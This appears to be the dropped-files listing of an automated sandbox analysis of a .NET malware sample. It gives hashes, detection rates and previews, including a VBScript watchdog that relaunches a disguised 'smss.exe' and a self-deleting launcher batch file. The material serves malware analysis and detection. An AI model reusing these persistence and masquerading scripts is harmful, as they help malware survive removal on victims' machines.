Preview:	5DQNkXdyztaaxJ84uaeiu97DhSpfyjZaRKFrH7vhkwFbcP4LQv154rO5FNpRr79QU9JnEQwxo6784gkSXdPCrefj6Jm4Rd0mwyGcFRH99DQ8tQBimX4Ns6i0ejq4o2fKFULFaHMGWPDoNh0qHDR4jm4zQP8gkMVGhF2ZE6IfKy1c24n7tAxkklldaVyKIpfJ46GHoamK5wtvvb6WmBxkZug6eZ9sH7WeSri5xfSSYmoy1zs8ZchH25uKaKnPb3C7ZPcD3AiHsfLwFrEorATpaPmX7Yfn1D1ejrYlWoFY3ZYWt7EtF8hakXhKnFFff5PporNYSdRC54wA0Po9Uwi3fa4MKO8Rjj28KtsCupamqfeplgUXbGLtWWJNwBOEeAdVCx0GgmPoV6M96Oln4k0dYJlxkePtaWHqCInxpN1y0gXaKJRhakJ3JA73MDgBWgN9yf7xlx8qtBm1vLnaNrS0MOhCLulmrzcUSYloMe6mmdJHXFHAZGypNXxk84m1MW93jRjXj8OtvqNtEZoFmkMkBwH4kBqR2EZPdPiGgtaa2F4gJDfjQgPmJY2wKowiS60qR8Qy0ij2Jvs62kvggHBVzwGEXw5162H5ONOLxqsr6WcYp64j3PCL5e1e1LbEmr5QnxroVjtzYTZdTsYa1V8q069tWuTmPnFOaMu2OPOUgMxmFYKJxAMQtOarx8SlPHkuNKCH7fMmHoKnJXn8jKyObyfLvCEP7mEZmCY4VCLRykJEEwiZUUBFSVTZo1V5a6pejuAG9smg8hZ1pbG9eo4nl9HRt9PeqQ015oeUvcamreGv5cuNuWbwBC3kmtXAcHzrqi6B6vNCOS5G3VVRPCtUzE02u4rBFaJjoYEXgsR8IYisGxrQYFvaYf2mrDRBDM6xJVbeR7uguvLagHw6Nbm9psLJgcqdbP46buivVM9bVOqmUbFjRUymj7HbJS7yRREf0P8viAlAbLob

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.1090440760279225
Encrypted:	false
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
MD5:	77FFFEE187FABB45FFC7219D421EA83F
SHA1:	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C
SHA-256:	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
SHA-512:	3C27ED77B4E5C522804B48B94B70071BC07B4227ED3F5018D45160CB192136296F75A84AF770CAF72C797D2EA7FA36C8D897F2D68199F0FE0123C94781452B1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.................................P...K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`.......0..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\0a1fd5f707cd16

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with very long lines (570), with no line terminators
Category:	dropped
Size (bytes):	570
Entropy (8bit):	5.879339853090951
Encrypted:	false
SSDEEP:	12:1dS1DQmBx96WshYexpAX3thmT+sCAoPLN8jU42D+qNCabkuyH:1dS1D7Bx968ea3Tmidt42iI7u
MD5:	9720E5B0FF0D34B1D1C7239471D654B0
SHA1:	1D0D69601A3E4A661C80FE926B2F95E426B90ECF
SHA-256:	B6901722E22BDC0CF6B6BF3B2EFBFC81072E03F980B3B2225CC85FE21273A25E
SHA-512:	D9302F91337A0835FFEB39423412A972E5CEE03402360796AD8E9B5DB82AC5219D6457F680AB6CDD80285861D34EA25A1F6A710A7DFC5F5C7A4A60C81F050818
Malicious:	false
Preview:	h6IU5E1SO3JUCd6jTLQQTxpjpdiPusmCjiy61Vfkro0BnHCEsd9XdVPtQiobglhgRGudpAr8pqjo7n5ibdhQsOjOTEqSqDEFHTugXiZsvBsxvkwmmGACEQyDhfKlTZRlldhn3ZL2EyerfwdsRDqkDCB0fr91YyYWuGLRDJsN5I7PvGhvCbTQtqijcqHMZTeQaI7ZkLoIUcp5EwEYJOz6eInDilzWBgxlnrynJHK0xL5QAnfpltCLehvRe319WRHyoERX7aPBD8JTNWD4GJuSelHG5gJQQLdfDHl6WIsLdAIfYcEH062NhzUC6LbaR9v2eoPFvGi7ajyddlrccBZUSQ7Oxi9LqR3ePQAuM9WtY4w7A0jVd88QjajOqASMHXRJqTONk7Pcpq6YdAN69nrsSn4yqwDMqJmBnnRrlVvfsfk3eLvpwVMdpj0CYZgy4DwfE5uztgUo2M9xCBTfAXZU7IVExOSMy6lptFzja66PAikcjD9XGAxgobi5jqBfOIz6kUD7MuFEbJUYi2euO4FyJFBSg3At4aB1to2P9CLV5tEeHJXqLRRUCAxeTv

C:\Recovery\c321b7ff01a2d7

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.9477027792200903
Encrypted:	false
SSDEEP:	3:iRQz/Pn:ign
MD5:	E85801B01690F732456A21EE80A5C21D
SHA1:	C664909E62999D5BD722779E67E6C8A68CCE0891
SHA-256:	7C66D43AC29C78C1DB9F83CACB2B611A0210B4B211D418C03EE7F5878D39FB68
SHA-512:	CD23906A5CA88449563614C5FD2069D531884F4F13BD8CCA65165FB1A77DED23E60E0DB5D3BBAE510BB20822F64710D0230D61E166B662064D612E4D9008C535
Malicious:	false
Preview:	PuLtu2aBgKWgThmJrz

C:\Recovery\fuBYljHeUjtkgvlnN.exe

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.1090440760279225
Encrypted:	false
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
MD5:	77FFFEE187FABB45FFC7219D421EA83F
SHA1:	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C
SHA-256:	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
SHA-512:	3C27ED77B4E5C522804B48B94B70071BC07B4227ED3F5018D45160CB192136296F75A84AF770CAF72C797D2EA7FA36C8D897F2D68199F0FE0123C94781452B1F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.................................P...K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`.......0..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\fuBYljHeUjtkgvlnN.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Recovery\sppsvc.exe

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.1090440760279225
Encrypted:	false
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
MD5:	77FFFEE187FABB45FFC7219D421EA83F
SHA1:	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C
SHA-256:	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
SHA-512:	3C27ED77B4E5C522804B48B94B70071BC07B4227ED3F5018D45160CB192136296F75A84AF770CAF72C797D2EA7FA36C8D897F2D68199F0FE0123C94781452B1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.................................P...K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`.......0..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\sppsvc.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2RM12KtuNp.exe.log

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1915
Entropy (8bit):	5.363869398054153
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkhHNpvJHVHmHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKkhtpB1Gq2
MD5:	5D3E8414C47C0F4A064FA0043789EC3E
SHA1:	CF7FC44D13EA93E644AC81C5FE61D6C8EDFA41B0
SHA-256:	4FDFF52E159C9D420E13E429CCD2B40025A0110AD84DC357BE17E21654BEEBC7
SHA-512:	74D567BBBA09EDF55D2422653F6647DCFBA8EF6CA0D4DBEBD91E3CA9B3A278C99FA52832EDF823F293C416053727D0CF15F878EC1278E62524DA1513DA4AC6AF
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\WmiPrvSE.exe.log

Download File

Process:	C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fuBYljHeUjtkgvlnN.exe.log

Download File

Process:	C:\Recovery\fuBYljHeUjtkgvlnN.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\smss.exe.log

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sppsvc.exe.log

Download File

Process:	C:\Recovery\sppsvc.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Temp\23hskQW7hB

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.133660689688185
Encrypted:	false
SSDEEP:	3:cTN3i:cRy
MD5:	5E0EF42A95EFA2522E13862D0A159BF1
SHA1:	5398191FDAA1DD7595C3802953F14232D010551A
SHA-256:	F6A21BA623F2D3547B201586A3BAA2C2A862385708796169547833188F90982C
SHA-512:	0B11EE5BE8D251C765C98513DC1BBA6A7999E1501743E5FD61BC5934A2F0CAFF48CE215AE4A72E8ABBF791BEB247E638B7462EFD15602247E3CD1A810A191F0E
Malicious:	false
Preview:	ixRETKxe5N5DNFaxuS7OStn7k

C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1455616
Entropy (8bit):	7.1090440760279225
Encrypted:	false
SSDEEP:	24576:KufUOExyABqHwzAsZg7ySXHzf9gUQ4zWp2Wn7b5kXxK:K3zBqATEzf9gUQPn7b5kXx
MD5:	77FFFEE187FABB45FFC7219D421EA83F
SHA1:	3F21E5A79D674131678AC5DE8EAF30BBFCBB177C
SHA-256:	272D4708729E16B629B6EC2C3C04317F6579C2C8F24D171BE0D9469DBBCE4E26
SHA-512:	3C27ED77B4E5C522804B48B94B70071BC07B4227ED3F5018D45160CB192136296F75A84AF770CAF72C797D2EA7FA36C8D897F2D68199F0FE0123C94781452B1F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ... ....@.. ....................................@.................................P...K....`............................................................................... ............... ..H............text........ ...................... ..`.sdata.../... ...0..................@....rsrc........`.......0..............@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe:Zone.Identifier

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.318883443175004
Encrypted:	false
SSDEEP:	12:9vWdDIyRfhMAyjMpl+sdXsWmDv+Go0BMhFiXAp4QCk3:9A3fCAyjk+sCrGRcMDYAp4QCw
MD5:	ED25DF0F09F7C9D00344DF2482FA6DD7
SHA1:	8A0C060F385842E731946A44C61023976F86702C
SHA-256:	5DBDDBB97F510B7662D20648B6DF33CCBB594D1995AE620960C4BD14A13ABCFE
SHA-512:	D7EC609AA2C2576AB84F0DC4D34DE519E09DEC170E3F82640DEF679BC21BF75146B52AF06D8456360551B255CF548E31F4676A3334DFB81C404A2A76A406F9E3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	On Error Resume Next....Dim mainFilePath..Dim backupFilePath....Set WS = CreateObject("WScript.Shell")..Set FSO = CreateObject("Scripting.FileSystemObject")....mainFilePath = "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"..backupFilePath = "C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe"....Do While True...If Not FSO.FileExists(mainFilePath) Then....WS.Exec(backupFilePath)....FSO.DeleteFile WScript.ScriptFullName....Exit Do...End If....WScript.Sleep 5000..Loop

C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.318883443175004
Encrypted:	false
SSDEEP:	12:9vWdDIyRfhMAyjMpl+sdXsWmDv+Go0BMhFiXAp4QCk3:9A3fCAyjk+sCrGRcMDYAp4QCw
MD5:	ED25DF0F09F7C9D00344DF2482FA6DD7
SHA1:	8A0C060F385842E731946A44C61023976F86702C
SHA-256:	5DBDDBB97F510B7662D20648B6DF33CCBB594D1995AE620960C4BD14A13ABCFE
SHA-512:	D7EC609AA2C2576AB84F0DC4D34DE519E09DEC170E3F82640DEF679BC21BF75146B52AF06D8456360551B255CF548E31F4676A3334DFB81C404A2A76A406F9E3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	On Error Resume Next....Dim mainFilePath..Dim backupFilePath....Set WS = CreateObject("WScript.Shell")..Set FSO = CreateObject("Scripting.FileSystemObject")....mainFilePath = "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"..backupFilePath = "C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe"....Do While True...If Not FSO.FileExists(mainFilePath) Then....WS.Exec(backupFilePath)....FSO.DeleteFile WScript.ScriptFullName....Exit Do...End If....WScript.Sleep 5000..Loop

C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat

Download File

Process:	C:\Users\user\Desktop\2RM12KtuNp.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	221
Entropy (8bit):	5.0478177357425
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DED+YbdnmvKOZG1923f1jq:OTg9YDED+sdm9q
MD5:	2D03B430B3F050DB88ABEA942CC6B178
SHA1:	FDA713AD3345F6820C9B6618A3844DCD0CB8B625
SHA-256:	D913846D6F6B6E8113600FD3BD8BB6B7FC444126215D939ABE323952A54FFC7E
SHA-512:	D752654ADF30991DD0F8BFE8DA86D12937173896600B80E72754974276A547CCA8596C7A94CD4BDEE3CBCFA2F3063FDBA88A8087EE452B791C00AD741A219B23
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\LsQlNPpiOn.bat"

C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs

Download File

Process:	C:\Program Files\Microsoft Office 15\ClientX64\smss.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	731
Entropy (8bit):	5.240344354247328
Encrypted:	false
SSDEEP:	12:9vWdTzyMsRfhMA6Kc1jMpl+sdMouurv3vAGThYsTaHozv/K/ynMaSxqjdxWg9VbT:9AnyHfCATc1jk+slpD/AEmHob/uhEjdD
MD5:	BCEDD5E70B87913EDB29141F76567FAA
SHA1:	0FF97B780B98A4A6189F84D26E2AD67989A073BE
SHA-256:	76D35470DF93D06686F62D6D27A35E3562E55142ED816AE206D301D1A6F4BCE3
SHA-512:	9F4002CD8BFDCD05BF6F81D5909424D215ACAB42955241AB879019C54BF1FAF66CCF64BE25CFB3791E786FBC88C7670207D45BB04633757B39318EE564333BA5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
